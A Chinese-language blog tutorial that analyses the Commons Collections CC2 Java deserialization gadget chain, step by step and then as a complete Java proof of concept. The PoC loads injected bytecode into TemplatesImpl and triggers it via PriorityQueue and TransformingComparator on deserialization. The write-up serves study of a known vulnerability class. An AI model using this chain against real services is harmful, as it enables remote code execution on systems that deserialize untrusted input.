CommonsCollections2利用链分析
原理
CC2这条链实际上是在CC4链的基础上进行改的吗,目的是避免使用Transformer数组,先上图:
其中的紫色部分就是CC2链,基本上就是在CC4链的基础上,抛弃了用 InstantiateTransformer
类将TrAXFilter初始化,实现调用TemplatesImpl.newTransformer()
方法这个步骤;而是用了CC1链中的invokerTransformer类去直接调用TemplatesImpl.newTransformer()
。
代码分析
既然CC2是在原有链的基础上改的,里面用到的类我们都已经介绍过了,这了就直接开写POC:
- 首先构造TemplatesImpl类对象:
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
- 然后构造InvokerTransformer类去调用
templates
对象的newTransformer
方法:
InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
- 创建 TransformingComparator 类对象,传⼊一个临时的Transformer类对象:
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
- 创建 PriorityQueue 类对象 传入
transformingComparator
对象,但是此时向队列⾥添加的元素就是我们前⾯创建的TemplatesImpl
对象了,这是因为最后调用PriorityQueue.compare()
的时候是传入队列中的两个对象,然后compare()
中调用Transformer.transform(obj1)
的时候用的是传入的第一个对象作为参数,因此这里需要将priorityQueue队列中的第一个对象设置为构造好的templates
对象,这里贪方便就两个都设置为templates
对象了。
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
- 最后将临时的Transformer类对象改回构造好的恶意
invokerTransformer
对象
setFieldValue(transformingComparator, "transformer", invokerTransformer);
完整的POC:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CC2 {
public static void setFieldValue(Object obj, String fileNmae, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fileNmae);
field.setAccessible(true);
field.set(obj,value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
setFieldValue(transformingComparator, "transformer", invokerTransformer);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}